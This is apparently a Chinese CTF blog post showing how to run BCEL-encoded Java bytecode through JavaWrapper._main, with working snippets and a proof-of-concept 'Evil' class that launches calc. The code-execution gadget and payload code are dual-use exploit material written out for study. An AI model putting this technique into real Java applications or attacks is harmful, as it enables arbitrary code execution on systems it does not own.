JavaWrapper执行BCEL字节码
通过JavaWrapper执行BCEL字节码
前言
在SICTF Round2中看到unknown师傅使用了BCEL字节码,看了他的WP后发现一种我没见过的执行方式,在网上好像找不到(可能是我不会搜索),于是自己分析源码
追加一下,在WMCTF2023的官方WP中看到Boogipop大佬解题时用到
unknown师傅的代码
// //第一种触发方式
// JavaClass cls = Repository.lookupClass(Evil.class);
// String code = Utility.encode(cls.getBytes(), true);
// System.out.println("$$BCEL$$"+code);
//
// new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
// 第二种触发方式
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
JavaWrapper._main(new String[]{"$$BCEL$$"+encode});
System.out.println("$$BCEL$$"+encode);
开始分析
我们常使用的BCEL是使用ClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
我们搜索一下这个包
查看一下JavaWrapper类
可以看到这两个跟ClassLoader执行方式有关的地方
继续往下看
两图中的红框几乎凑出了利用ClassLoader的方式
所以JavaWrapper
执行的原理就是通过ClassLoader的方式来执行
正常情况下找到了漏洞点,应该像找CC链一样,find usages查看谁调用了runMain
方法
这里巧合的是就在代码下面
到了这里思路大致就清晰了(但若细问为什么我也说不上来)
getClassLoader
什么时候调用我也不清楚
但是我们不用管那么多,只知道调用_main
方法就行
那个class_name就像执行ClassLoader时那样,传入$$BCEL$$......
即可
上手尝试
我们先尝试原来ClassLoader
执行时要用的恶意类
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
没有执行成功
按照提示加入_main
方法
import java.io.IOException;
public class Evil {
public static void _main(String[] argv) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
总结
JavaWrapper只是在ClassLoader基础上套了一点东西而已
更加方便了
JavaWrapper._main(new String[]{"$$BCEL$$"+code});
JavaWrapper执行BCEL字节码
https://zer0peach.github.io/2023/09/16/JavaWrapper执行BCEL字节码/